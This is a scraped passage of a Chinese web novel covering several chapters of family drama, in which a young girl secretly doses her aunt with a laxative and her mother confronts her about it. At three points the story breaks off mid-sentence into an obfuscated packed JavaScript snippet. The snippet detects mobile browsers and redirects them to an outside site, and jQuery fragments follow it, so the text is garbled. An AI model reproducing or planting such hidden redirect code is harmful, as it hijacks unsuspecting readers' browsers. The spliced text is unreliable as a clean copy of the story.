主食是粟米汤饭,肉食是炖鸡,蔬菜一样,酱菜两碟,浊酒各一壶,算是非常丰盛的晚宴了。
“我这碗给贞丫头吧。”田父起身,将装着鸡翅的碗碟放到田贞的小桌几上——一只鸡,两只鸡腿分给了田老太和田老爷,两只鸡翅田家兄妹各一,剩下的零碎则在田母和田贞的碗里。
田贞心下一喜:鸡翅虽然肉少,但是嫰啊!不像胸脯肉吃起来像木柴一样。
只是心里欢喜,面色还要克制住,连忙推辞,只道女儿不敢当。
“吃吧。”田父摸摸女儿的脑袋,笑道,“几日不见,像是又长高了些,要多吃点才是。”
“啧啧。”瞧着父慈女孝的场景,田小姑阴阳怪气道,“阿兄可真宝贝姑娘,但是吧,小孩儿可不能这么惯,会掼坏的,都说棍棒底下出孝子呢。”
田父可不是个会忍气吞声的,直接道,“你还没孩子,不知道为人父母的心情,只恨不得将天上星星都给摘下来。”
这话直戳中了田小姑的肺管子——嫁人一年多了,她至今没怀上个一男半女。
“阿兄这是什么意思!”田小姑也不是能忍的,就要和田父干仗。
眼见兄妹两个就要吵起来,直到田老爷喊停,“开席吧,饭菜凉了可就辜负了媳妇的心意了。”听起来像是在平息战火,实际上话里头却帮着儿媳妇,一边的田老太听了直接黑了脸,却也不敢多言。
家里的老大都发话了,所有人都无异议,端坐下来开始吃饭。
田母的手艺非常好,又有巧思。白水煮鸡,鸡汤煮粟米饭,鲜甜可口;鸡肉搭咸酱,咸香生津。一旦开始吃了,筷子便停不下来。
众人埋头苦吃,只田贞一边啃鸡翅一边抬眼悄默默打量田小姑,见田小姑风卷云涌般一口气喝光了粟米鸡汤饭,不禁心中狂喜——分餐制,田小姑的汤饭是田贞特意加了料的。
饱餐过后,田母收拾碗筷,田贞跟着帮忙,实在竖着耳朵关注着田小姑的动静。
“你嫂子手艺不错吧。”田父对自家妻子从来满意,觉着方圆百里之内再也没有比自家妻子还要好的女人了——生得美,性格温柔,持家本事也是一流。
田父见田小姑饕餮满足的模样,忍不住劝道,“多念着你嫂子的好吧,别整日挑事儿。”
“是我挑事儿?”田小姑想要反驳,可知道那些话要是说出来,自家阿父第一个饶不了自己,便硬生生忍住了,转而道,“阿兄你是饱汉不知饿汉的饥,你平日在陵园当值,风吹不到,雨打不着,有肉吃,有汤喝。哪里知道我们寻常农家过的什么日子,你那妹夫这几日顶着大太阳收麦子,皮都晒蜕了好几层,别说鸡翅了,鸡屁股都没得吃。”
田小姑嘴皮子利索,话轱辘一转,话题便从鸡翅膀、鸡屁股转到了给自家丈夫谋差事上。
“阿父~~~”田小姑冲田老爷撒娇,“你就想想办法嘛,给你女婿在陵园里头也谋个差事,便是负责送水也是好的。”高祖长陵墓园里头的用水都是从南边渭水河运过来的。
“是女婿让你来的?”田老爷问,“他自己怎么不来找我?”
“啊.....”田小姑结舌,面上发虚——其实都是她自作主张。她那丈夫一门心思就想生个儿子传宗接代,偏偏结婚一年多了,自己的肚皮没个动静。生不出个崽来在家里就没啥地位,准确说,腰杆子不直没法耀武扬威。
于是,田小姑就想出个巩固自己家庭地位的主意:给丈夫谋个差事。只要这事儿成了,从此自己在夫家那就是天!说一不二的天!
结果,知女莫若父,田小姑的打算田老爷看得一清二楚。
“身为人妇,你怎可如此善做主张。”田老爷生气,“牝鸡司晨,乱家之始!”
“我...我....我这不也是为了他好么.....”田小姑嘴硬,“他祖上三代地里头刨食的,知道个什么啊.....”田小姑越说声音越低,在田老爷锐利的眼神下逐渐低下头,闭了嘴。
田贞看到田小姑吃瘪,乐得咯咯笑。田母瞧见,敲打道,“大人的事儿你别看热闹。”比如自己就从不管田家的事儿,吃力不讨好,还容易引火上身。再者,亲梳有别,田小姑是亲闺女,就算嘴上教训两句,但能帮一把必不会袖手旁观。
果然,田老爷训斥过女儿后,语气和缓许多,“女婿的事儿,我心里有数,你不要着急。等过了农忙,让他来找我。园子里的规矩多,糊涂蛋进去是要送命的。”这是让女婿先跟着自己学做事,学点眉眼高低为日后铺路。
田小姑闻弦知雅意,立马眉开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314461|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼笑,“还是阿父疼我。”
田父在一旁听着没忍住讥讽道,“做父亲的自是疼女儿的。”凭啥就许你阿父疼你,不许我掼自家闺女啊!
田小姑愿望达成,心情正美,听着田父的阴阳怪气也不计较了。
远处正在擦草席的田贞瞧见田小姑洋洋得意的样子,暗道,怎么还没发作,莫不是决明子药效太温和了?
这般想着,田贞丢下手里的抹布,屁颠颠跑去厨房,向正在洗碗的田母提议,“阿母,不如泡些大麦茶吧,我看他们说话说得口干。”大麦茶也是利尿通便的。
“行。”田母忙活一天,忙得腰疼直不起来,根本没察觉到女儿行为的异常——往日田贞哪有这样的好心啊,还端茶送水呢,不暗地里翻大白眼就不错了。
田贞拎着大肚子茶壶艰难地翻过门槛,正在说话的田父见着了,一个健步上前抢过田贞手里的茶壶,用手一探是凉的,这才松了口气。
“这水壶比你脑袋都大,万一翻了怎么办。”田父弹弹田贞的脑门。
田贞嘿嘿一笑,“是大麦茶,生津解渴。”
田父拎着茶壶,一边给众人倒茶,一边道,“还是我家贞丫头好,看见咱们说话口渴了,就送茶来了。”
田小姑听着撇撇嘴,端起茶碗咕噜一口全喝了——刚刚说了一大通话,唾沫都说干了。
一碗凉茶下肚,田小姑立马有了反应,肚子咕咕叫,翻江倒海,绞着疼。
“哎呦!”田小姑脸色惨白,捂着肚子浑身打颤。
“这是怎么了?!”田老太吓了一跳,田老爷、田父也一脸严肃,唯有躲在一边的田贞憋着笑。
“哎呦呦!”田小姑叫唤着,拱着腰,像个虾子,逃一般地跑进东厢房,田老太赶紧跟过去。
田老爷、田父正要去瞧瞧情况,一阵恶臭从东厢房传了出来,两人顿时停下脚步,知道田小姑这是拉稀了。
恶臭熏天,田家父子走出屋去呼吸新鲜空气。听到动静的田母走了出来,一脸疑惑,不知道发生了什么。
“小姑拉肚子啦!”田贞毕竟年纪小,此时大仇得报,不免幸灾乐祸,得意忘形。
“?!”看到女儿嘴角的坏笑,田母心下不妙,知道其中必定有什么事儿,一时间白日里种种被忽略的可疑之处全部浮现脑海。
不及细想,田母训斥田贞道,“吓晃悠什么!还不去看着你阿弟!”田老爷可是个人精,田贞那点子小心思在他那儿根本不够看,田母赶紧将人给支开,免得露馅儿。
田贞被训,吓了一跳,像只受惊的小兔子跑走了。
“我进屋去看看。”支走了女儿,田母顶着恶臭进了东厢房。
东厢房里,田小姑捂着肚子坐在马桶上,脸色惨白,满头冷汗。田老太在一边手足无措,像只热锅上的蚂蚁团团转,此时见田母过来,立刻找到了攻击对象。
“你准备的什么晚膳!媛儿都吃坏了肚子!”
田母不慌不忙地解释道,“倘若是晚膳的缘故,怎么偏偏就小姑有事,咱们都没事儿呢。都是一个锅子煮出来的。”一边说着,田母回忆白日种种,知道这其中大概率是田贞捣鬼了。
这般想着,田母上前拉过田小姑的手,搭上她的脉搏。
一探之下,田母松了一口气——无论是什么原因引起的腹泻,只要田小姑不是有孕在身,那就问题不大。
“是怎么回事儿?”田老太知道自家媳妇的本事,赶忙询问。
田母回,“小姑受苦了,估计是之前少了油水,今日用了鸡汤,又食了鸡肉,肠胃里陡然多了油水,受不住了。”这是最合适的解释。
“我儿啊!”田老太闻言大恸,“当年我就不同意你嫁过去,偏生你阿父说什么耕读之家福泽深厚,我呸!肉都没得吃,有个屁福。”
骂完了丈夫,田老太又催促田母,“媛儿这情况怎么办,用什么药?”
“无需用药。”田母仔细把了脉,知田小姑这是食了湿寒之物引起的腹痛腹泻,只需拉空肠胃,多饮热水即可。
“我去灌个汤婆子来,给小姑热敷肚子。”田母快步走出屋,遇见等在院子里的田家父子,简单说了田小姑的情况,“不是大事儿,就是今晚恐怕不得安生了。”说罢看见躲在墙角探头探脑的女儿,狠狠蹬了一眼。
“!”田贞一惊,暗道,阿母是神仙不成,怎么什么都逃不过她的眼睛?
7.第 7 章
第七章
一碗决明子水,一碗大麦茶,直闹得田家到大半夜都不得停歇。
“早知今日不回家了!”屋子里恶臭挥之不去,田父拧着鼻子抱怨,又安慰自家媳妇,“阿母还怪你煮的鸡不好,怎么我们吃了都没事,分明是她自己人不好!而且那鸡不是她自己要吃的么!”
“小姑也不容易,定是平日里油水不足,今日陡然吃多了荤腥才这般大的反应。”田母必要将事故的缘由钉死在“田小姑肠胃不适应油水”上。
田父不知背后复杂,见妻子竟然还为无理取闹的婆婆和小姑说好话开脱,只觉通体舒畅,一把搂住田母,贴身上去,笑道,“人人都说娶妻娶贤,我不仅娶了个贤妻,还是个美妻。”说着手上便不老实起来。
田母一把按住田父的手,“今日不成。”
“嗯?”田父不满。
“小姑那样子,等会儿再闹起来怎么办。我得随喊随到呢。”再有,这会儿虽然夜深了,但公公婆婆定然还没睡下,西厢房的动静哪里藏得住。而且.....田母心里存着事儿。
“不会再闹了。”田父翻身压住田母,嘟囔道,“她肚子都拉空了,想拉也没得拉了。”
“再等会儿。”田母只得缓兵之计,拍拍丈夫的肩膀,“等大家伙儿都睡了再说。”又道,“你让让,我去看看小姑和孩子们。”
田父长叹一声,“这是要我的命呢。”箭在弦上却被生生按住的滋味儿可不好受,但妻子说的也有道理,自己可不是色中饿鬼,于是翻身滚到一旁,放田母下床。
田家住的是官邑分配的房子,地盘并不大。正房三间坐北朝南,中间是大厅,左右两边是厢房。
东厢房是田老爷、田老太的屋子,西边厢房是田父田母的。屋外是院子空地,院子西边偏房是厨房和粮食仓库,东边偏房是客房和仓库。
平日里,田老爷和田父不在家,田老太一个人住东厢房,田母带着两个孩子住西厢房。今日家中男人们回来了,两小孩儿便被赶去客房住了,田小姑也住客房。
客房里,田小弟呼呼大睡,田小姑筋疲力尽也昏睡过去,睡梦中还时不时哼哼唧唧,似是有万般痛苦。唯有田贞瞪着眼睛睡不着觉。
“吱呀”一声,门开了,屋外的月光倾斜而下填满了整个屋子。
田贞迅速翻身坐起,看清来人,轻轻呼唤,“阿母。”
田母却不像往日那样立刻回应,而是先看了看小儿子,给他擦了汗,又去看了田小姑,给她把脉。
田贞就坐在草席上,眼巴巴看着阿母忙来忙去就是不看自己一眼。
阿母生气了。田贞有些惶恐。随即又生出一股委屈:自己还不是想为阿母报仇,谁让田小姑说阿母坏话呢!
这般想着,田贞又喊了一声阿母。田母闻言只轻轻瞥了一眼,依旧不搭理。
“阿母你不知道....”田贞企图解释,证明自己才是“正义”的一方。
“闭嘴,睡觉。”可田母根本不给田贞解释的机会。
冷酷的言语如一把尖刀刺进田贞的心窝,难受得她脑子一片空白。
见小孩儿仓皇的模样,田母心中叹气,终究不忍,缓了语气,道,“先睡吧,不早了,有事情明天再说。”这傻孩子,一点沉不住气,田小姑还在这儿呢。
感受到阿母言语中的松动,田贞悬着的心总算落下,缓缓倒回草席上,老实闭上眼,没一会儿就睡着了。
“你啊你.....”拨开女儿睡得凌乱的发丝,看着小孩儿安恬的睡容,田母幽幽叹气:是不是自己做错了呢?在女儿本该天真无邪的年纪教了太多不是她这个年纪该学的东西,才导致了她这种胆大包天的性子?今日敢下泻药,明日是不是就能下毒药了?
反思间,院里传来轻轻的脚步声,不一会儿,屋外多了个人影。
“咱们去厨房。”来者正是田父,孤枕难眠,他等不及过来寻自家妻子,压着声音道,“阿父阿母也都睡下啦。”他刚刚特意去东厢房的窗户外偷听了好一会儿。
翌日,鸡叫三遍,天光大亮,整个田家小院却都还静悄悄的。
客房里。
头一个醒来的是田小弟,他尿了好一大泡尿,浸润了大半个草席。
第二个醒来的是田小姑,她一个翻身正压到了田小弟的尿上。
第三个醒来的是田贞,她是被田小姑吵醒的。
“作死的!怎么尿我身上了!”一夜过去,田小姑满血复活,从她的嗓门之大可以推断她的身体应该已经恢复了。
“小姑,童子尿可是好东西。”田贞乐得看田小姑倒霉,笑呵呵道,“有驱魔辟邪的功效呢。”
田贞本是阴阳怪气,结果田小姑一听却当真了,顿时不嫌弃了,反倒凑着鼻子仔细嗅了嗅,喃喃自语道,“还真是的,这童子尿丁点不骚臭呢,还带着点奶香。”说着招手让田贞上前来,“贞丫头,你来闻闻是不是的。”
“?!”田贞瞳孔震惊,这才是个真傻子!
院子里,听到动静的田母赶紧来看,也不管泡在尿里头的小儿子,先冲田贞喊,“快去洗脸漱口到厨房帮忙。”先将田贞和田小姑隔离开来,免得小孩儿憋不住事儿说漏了嘴。要知道,很多人做坏事是管不住嘴的,会忍不住炫耀,因为“成果”是需要观众的。
“就来!”田贞晓得自己惹阿母生气了,因此这会儿特别乖巧懂事,让往西绝不往东。
田贞吧嗒吧嗒跑去厨房,准备帮忙做朝食,结果一脚跨进厨房的大门就看到锅台上那只眼熟的碗。
田贞上前几步,看清碗中之物,正是自己昨夜的罪证——碗里头是决明子粉末。
“做事顾头不顾尾。”田母走进厨房。她昨夜通过诊脉推断田小姑是食多了寒凉之物,等找到这碗决明子粉末的时候,种种可疑便都串联起来,直指真相。
当着田贞的面,田母将“罪证”倒进了锅膛,火蛇撩卷,一切痕迹泯灭。
田贞看得糊涂,她不明白阿母为什么不在发现“罪证”的第一时间就帮自己扫尾遮掩,反而把“罪证”光明正大的摆出来,万一被其他人看到怎么办啊?阿母还说自己顾头不顾尾,她自己不也是么。
——田贞从未想过阿母会“出卖”自己,如此就只可能是和自己一样忘记了“罪证”。
像是田贞肚子里的蛔虫,下一刻,田母就为田贞解惑,“这厨房除了你我,白日里还会有谁进来?”自从新妇进家,田老太便从此五指不沾阳春水了,更别说下厨房了。田小姑是当自己是来做客的,也不会进厨房。
除此之外,田母更自信,这个家里除了自己,旁的人便是看到了那碗决明子粉末,也想不通这其中的关窍。
将“罪证”光明正大的摆在那儿,为得就是吓田贞一跳,好叫她长长记性,日后做事更加谨慎细致。
然而......
“白日里没有谁来,那晚上?”田贞的关注点偏了。
想起昨夜厨房里的动静,田母面皮发热,稳定心神,板着脸训斥女儿,“知道错了吗?!”
田贞哪里还管得了白日夜里的,立马要将存了一肚子的话倒出。
“等等。”田母将厨房的小窗户打开,如此,整个田家小院尽收眼底。
“说吧,到底是为什么。”一夜过去,田母也平复许多,从最初那种“我女儿心狠手辣,视人命如草芥”的震惊中走了出来,她知道自家女儿的本性,并非是恶人。只是小孩儿不知轻重,不懂敬畏,容易小把戏酿大祸,需要大人的指引和教导。
“是小姑说阿母坏话,还鼓动奶奶休了你......”田贞气愤地将自己偷听来的话一五一十道来。
西厢房里,田父终于睡醒,伸着懒腰走到院子呼吸新鲜空气,透过窗户一眼看到了在厨房里忙碌的母女二人。妻子负责烙饼,女儿负责揭饼,两人配合默契,时不时还头贴着头说着小话,那温馨的场景田父看着只觉此生无求了。
心情畅快的田父全然不知道自家妻子此时心如刀绞,伤心欲绝。
“阿母?阿母?你怎么了?”田贞记忆极好,将偷听的话一五一十地复述出来,待说到“卫家人全都死光了”的时候,田母再也克制不住,发出一声悲鸣,悲伤倾泻而出。
“阿母?阿母?”田贞被阿母的动静吓着了,她从未见过这样的母亲,像是....像是....像是一只外出狩猎的母狼,好不容易带着食物回家,却发现老窝被猎人一锅端了——什么都没有了,只剩下绝望。
田贞回忆自己的话,忙问,“卫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328120|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家人是什么人?阿母是为他们伤心吗?”田贞脑子飞转,想不通其中关系:自家阿母又不姓卫,卫家人死了阿母难受什么?难不成是阿母的母家姓卫?
啊.....话说回来,阿母有母家吗?田贞搜罗自己不多的记忆,发现一个诡异的点:自己没有外公外婆!!!阿母没有母家,也没有父家?
一时间信息量爆炸,田贞脑子都卡壳了,整个人晕乎乎的。还是田母先从悲痛中回过神来,哑着嗓子叮嘱田贞,“刚刚的事儿,谁也不能说,明白吗。”
田贞点头,眼神懵懂又坚毅。
“饼好了,你给送去桌上。”朝食的炊饼已经烙好,田母不想叫旁人看出自己的异样,便让田贞去摆桌布菜,又交待,“要是有人问起,就说我腰疼不舒服,先不用饭。”
“好。”田贞乖巧点头,端着炊饼往正屋去。
饭桌上,唯有田父问起田母,“你阿母怎么不来用饭?还有什么菜要忙活不成。”
田贞赶忙放下手里的炊饼回答,“阿母有点不舒服,说是腰疼,先不用饭。”
“真是娶了个娇小姐回来了。”田老太不满,“整日这儿疼,那儿疼,不知道的还以为她做了多少活计,以为我苛待媳妇了。”
“阿母。”田父为田母解释,“阿禾昨天是真真忙活了一天,到半夜都没能睡下....”
“谁睡下了?”田老太板着脸,“要不是她昨天做的鸡汤,大家伙儿能被折腾到大半夜不得安寝?!”
“明明是小姑要吃鸡的!”田贞没忍住,为母亲辩驳——这会儿她全然忘记自己那碗决明子的“功劳”了。
田贞一开口就吸走了全部的火力。田老太说媳妇不会教孩子,养的孩子没教养。田小姑说棍棒底下出孝子,兄嫂太过溺爱孩子,以后必定不成人。这回连田父都没法为田贞开脱,毕竟小孩儿忤逆长辈是真——大人说话哪里轮到小孩子插嘴。
田贞手里抓着炊饼,迎接着暴风骤雨,奇异的是心里丁点不觉得害怕——阿母说了,只要不在乎她们,她们就伤害不到自己。她甚至觉得好笑:你们吃着阿母做的炊饼,却在这儿说阿母的坏话,你们才是大坏蛋啊!
一时间,田贞又明白了一个道理:看人不要看她说了什么,而是要看她做了什么——奶奶、小姑,没有干活儿,却说阿母的坏话,她们坏!爷爷、阿父虽然没有说阿母的不好,但是他们也没有干活,他们也坏!而阿母,虽然被说了坏话,但是给自己穿衣做饭、教授本领的全是阿母——阿母好!
整个田家,除了田母和田贞自己,所有人都被田贞列入了坏人的行列——田小弟还不会说人话,在田贞看来不算是人,不在分类行列。
自认为将事情理顺,田贞抓起没吃完的炊饼就走,不和一屋子的坏人呆在一起。
“这孩子!”田老太气了好歹。
田小姑煽风点火:“打一顿就老实了。”
田父不以为意:“小孩儿都这样,七岁八岁狗都嫌嘛。管管就好了。”
最后所有人都看向了田老爷,就等他一声号令就把田贞抓回来好好收拾一顿。
田老爷慢条斯理地嚼完最后一块炊饼,掸掸胡子上挂着的饼屑,淡淡道,“女孩儿嘛,野一点没事,好养活。就是小二子不能这样散养了。”男孩儿养坏了可就祸害自己家了。说着,他看向自家老妻,意思溢于言表:让田老太抚养教导田小弟。
“这还要你说。”田老太背脊挺直,脖子高昂,像是一只打了胜仗的大白鹅,“小二头有我看着呢,以后错不了的。”
用过朝食,田家父子便离家去长陵园了。其实他们是有一整天的休沐时间的,但为了确保绝对不耽误第二日的上值,父子二人一般用过朝食便回陵园了,提到半日到岗。
田家父子一走,田小姑也告辞——回娘家的目的已经达到了,她迫不及待回夫家去宣扬“战果”。
一下子走了三个人,拥挤的田家小院儿又变得从容起来,田老太回房睡回笼觉,田小弟在和一只小布球“搏斗”,整个院子安静极了,竖起耳朵仔细听似乎还能听到隔壁李家嗡嗡嗡的说话声。
在这样极致的安静中,田贞心底陡然腾起一簇愤怒的火焰,她说不清火焰的来源,但火焰燃燃,难以抑制,直至烧毁一切。
8.第 8 章
第八章
田贞很生气,她觉得自己需要做些什么以平息自己内心的愤怒火焰。但是,拔剑四顾心茫然,她完全不知道自己能做什么才能浇灭那股可怕的想要毁灭一切的邪火。
在田贞有所行动之前,田母先找了过来。
“所以,你是听到小姑说我坏话,就给她下泻药?”田母的情绪已经平复,发生的事情已然无法挽回,但长歪的小树还是可以重新掰直的。
“是的!”田贞重重点头,一点不觉得自己有什么地方做错了——为阿母报仇做什么都不为过。甚至田贞有些后悔出手轻了:决明子药效温和,该用大黄的,让嘴坏的小姑好好长长教训。
看着女儿大义凛然的模样,田母深吸一口气,循循善诱问,“那我问你,小姑拉了肚子,她变好了吗?”小姑又不会改变,如此做这些的意义是什么呢?还脏了自己的手。
田贞闻言一愣,随即摇头,“没有变好。”心想,果然该下点猛药的,决明子不够劲儿。
这般一想又觉得不对,田贞疑惑,“我又不是要她变好,我就是...我就是.....”就是想看她出糗看她难受,这样自己就快活了啊。
“阿母,我又不是小姑的阿母,我干嘛要她悔过变好。”没有这个责任和义务啊。田贞小眉毛皱成面疙瘩,“她让我难受,我也要让她难受。”就这么简单而已啊。
“你.....”小孩儿自有小孩儿的一套逻辑,田母深觉棘手,只得使出杀手锏,“你知道吗,如果你小姑恰巧怀孕了,决明子虽然药性温和,但也有很大几率令她流产的!”偏偏田小姑新婚不久,很大概率正怀孕着。孕妇拉肚子不会致命,但很可能因此而小产。
“那样,你可就背上了一条人命!”当田母为田小姑把脉,发现她并无身孕之时,着实是松了一口气的。
“!”田贞双眼瞪圆,被阿母描述的可能性吓住——她完全没有考虑过这种可能性!
“我.....”田贞整个人僵住,她难以想象自己亲手扼死了一个可爱的小宝宝——田贞亲眼见证了田小弟的出生,在她的思维里,小孩儿在阿母肚子里时就是圆乎乎的可爱模样了。
“我.....我就是想教训一下小姑,她很讨厌.....我.....”田贞从一开始的振振有词变得语无伦次了。
“那....那....那我该怎么办呢?”田贞茫然地看向阿母,“小姑让我难受,所以我就该受着吗?可是.....可是凭什么呢?”
“阿母,你也很伤心难受不是吗?”明明阿母听了那些话也难过要命,阿母为什么不反抗?
田母企图让田贞明白,田小姑是她父亲的妹妹,是家里人,是亲人,不是敌人。而且她只是嘴上说说,其他又能如何呢。丈夫对自己好,这就足够了,“昨天你阿父不也帮你说话了吗?”
“既然是亲人,她为什么说那样的话?她有把阿母当作亲人吗?”田贞的思维很简单,就换位思考,“她没有当阿母是亲人,她要害你,亲人是不会这样的!”
“再说,阿父是帮我说话了,但是,我自己难受,不能自己反击吗?我不用依仗阿父帮我。”
“谁打我,我就打回去,不然我为什么要学本事?”
很快,田贞的脑子清明起来,思路也顺畅了,“如果小姑的孩子没了,那也是她自己的错啊。谁让她说人坏话的呢?”她要是个好人,自己也不会报复她了。这就是报应。
“都是小姑的错啊!”田贞的眼神不再迷茫,反而炯炯有神,坚定无比。
亲眼看见女儿的转变,田母倒吸一口凉气,只觉心惊,往日那个软乎乎的贴心小棉袄难不成是自己的幻觉不成?那个哭唧唧和自己说对不起的女儿哪里去了?
田母不放弃纠正田贞的想法,“不是这样的,不是这样换算的,小姑只是造了口业,罪不至此啊。”
“那阿母你说她该是什么罪呢?”田贞较真。
“她有什么罪不是阿母定的。”
“那是谁定的?谁可以惩罚她?”田贞不依不饶,“阿父?爷爷?还是奶奶?我不可以吗?”
“没有谁。她只是嘴上说说,又没做什么……”田母已经跟不上小孩儿的思路了,甚至自己的思维也混乱起来。
最后,田母只能强硬要求田贞,“总之,你不能这个样子。谁让你不舒坦了,你就要害死人家。我教你本事,不是要你做这样的人。”这太可怕了。
“我没有要害死她,她说你坏话,我听着难受,我让她也难受。”一切仅此而已,没有什么死不死的。
田贞之前觉得田老太是老糊涂了,这会儿觉得阿母也有点糊涂了,“阿母,咱们是一条线的啊!”
“你看,小姑做错了事,说了难听的话,奶奶怪罪她了吗?可是你现在却在怪罪我。”小孩儿理解不了太复杂的东西,只会直来直去的对比,可偏偏这样的对比很是明显。
“你奶奶不怪罪她,所以把她教坏了!我却不能看着你这样行事诡谲。”田母希望自己的女儿是个光明正大的人。
“你看,你明明知道小姑坏,却为了个坏蛋来指责我!”田贞也是个犟种,此时的她已经完全听不进母亲的教诲。
“我是为了你好!”田母也火了,“哪个正常人会一言不合给人下药的?!”便是诡谲黑暗的宫廷之中也少有这样的毒妇。
“我不对?!那怎么做才对?阿母你教我啊!”田贞声音更高,“明明是你生火做饭、熬夜织布,明明是你做的最多最最辛苦,可谁都能说你的不好。我是在帮你啊!”最后一句话,田贞带上了哭腔。
“好了好了,不说了。”田母赶紧捂住田贞的嘴巴,怕她把睡觉的家婆吵醒,那又是一场风波。
“你怕他们!”田母想结束话题,田贞却不依不饶,“为什么要怕她们?!阿母你明明那么有本事,为什么要怕她们?!”
“你怕她们,我可不怕!”
田母被女儿狠厉的话语弄得心慌,忙道,“你出去玩儿吧,去找无忧玩儿。”
但田贞情绪上头,根本无法被打岔,她继续质问,“她们说卫家全家死光了,你为什么不生气?”
田贞是故意的,她知道母亲对“卫家死光”的在意,于是故意旧事重提——阿母让自己难受,那自己也要阿母难受。
“!”果然,搬出卫家,田母一个字都说不出了,就像是被扼住脖子的老母鸡,一个音儿都发不出了。
看着怔愣的母亲,田贞只觉通体畅快。
打了胜仗的田贞爽了,她丢下悲伤的田母,一溜烟跑出了家。结果刚好和出门的李无忧撞上。
“无忧姐姐?”田贞的目光落在李无忧手里的鱼竿上,“你去钓鱼?带上我一起呗!”
“不要。”李无忧拒绝。她好不容易能出门一趟,想要私下赚点小钱,带着小孩儿可不方便做事。
“我保证不打扰你。”田贞冲母亲一通输出,这会儿身心轻松,全然是个无邪小孩儿的模样,她笑嘻嘻道,“无忧姐姐你钓鱼,我就去掏鸟窝,掏来的鸟蛋咱们烤了吃了!”往日,田贞便是摸到只小虾也要带回家的,但今天她不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332162|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想了。
回忆起记忆中鸡蛋的味道,李无忧禁不住咽口水,最终点头同意田贞同行。
两人结伴往林子里去,一路无言。李无忧是懒得和小屁孩儿啰嗦,田贞则时不时忍不住想起刚刚和阿母的争吵,两人就这么沉默地走进了林子的深处。
李无忧找了个适合的地方钓鱼,田贞则仰着头在周围溜达,寻找鸟窝。
不一会儿,田贞顺利摸到五枚鸟蛋,李无忧的鱼竿还是没有动静。
田贞说到做到,将鸟蛋交给李无忧。
“你帮我看着鱼竿。”李无忧接过鸡蛋,心里有了个主意,“我给你做个好吃的。”
“好哒!”田贞乖巧无比。她接过鱼竿,眼角的余光却撇着李无忧的动静,她看到李无忧捡来干树枝,又卷起裤腿下河摸索,没一会儿又上岸进了林子——忙碌极了。
难得开荤,李无忧不想直接把鸟蛋吃了,她从林子里摘了野葱做调味,摸了个大河蚌壳当碗,选了一块干燥平整的石头当锅。
柴火升起,给石板加热的功夫,李无忧将鸟蛋磕进蚌壳,野葱揪成碎末丢进蛋液里,树枝当打蛋器——她想做个厚蛋烧。
蛋液打发到位,石板的温度也上来了。“刺啦”一声,蛋液接触到石板的一瞬激起一阵热气,顿时香气四溢。
田贞肚子咕咕直叫,却信守承诺稳稳把着鱼竿。
感受到小孩儿频频看过来的眼神,李无忧扬声道,“别急,弄好了咱们一起吃。”
“我不急!”田贞嘴硬。
一层蛋液,烤熟卷起,再一层蛋液,烤熟再卷起。没一会儿,金黄色柔软的厚蛋烧就做成了。
“来吃.....”李无忧话没说完,“砰”一声,石板炸了,金黄色软嘟嘟的厚蛋烧飞了出去。
“!”李无忧傻眼,全然没料到的结局。
田贞也吓了一跳,赶紧丢下鱼竿来看,就看到落在泥地里的厚蛋烧。
“对不起.....”李无忧没想到石板会炸。
“闻起来很美味!”田贞捡起厚蛋烧,笑嘻嘻道,“还烫人呢。”说着将厚蛋烧一分为二,一半递给李无忧,一半自己大口吃了起来。
看着田贞毫不介意的模样,李无忧脱口问,“你在家也没得吃吗?”不然怎么连落在泥地里的东西都吃。田家的条件应该挺好的啊,还听说特别宠小孩儿,一点不重男轻女。
“好好吃啊!”田贞没听到李无忧的话,埋头吃得鲜甜,“原来蛋还能这样做吗?我从来没吃过,无忧姐姐你好厉害。”
“就还好吧。”本来想露一手的,结果差点鸡飞蛋打。李无忧将厚蛋烧上的泥污揪掉,小口吃了起来——果然是记忆中的味道,就是还差一点盐,要是再来点番茄酱就更完美了。
一人一半分完厚蛋烧,李无忧舀水将火堆完全熄灭,全神贯注开始钓鱼。
田贞肚子里有了货,困意便席卷上头,往李无忧身旁一趟,眼皮一沉,昏睡过去。
这一觉却睡得不安稳,梦里一时是面目刻薄的田小姑,一是时田母忙碌不停的身影,一时是一个浑身血污的小孩儿爬向自己,似是要索命。
“啊!!!”田贞惊恐大叫。
“!”李无忧长叹一口气,后悔自己为了一口吃的答应带小孩儿一起玩。本来鱼都上钩了,被这小子一喊,全吓跑了。
“快醒醒!做噩梦呢!”李无忧强制将田贞喊醒。
“!”在血色小孩儿扑上来的一瞬,田贞睁开眼,眼前是蓝天白云,绿树成荫,以及无忧姐姐关切的面容。
9.第 9 章
第九章
“我出门了。”练完功,田贞仰头喝完一瓢温水,丢下水瓢,头也不回地走了。
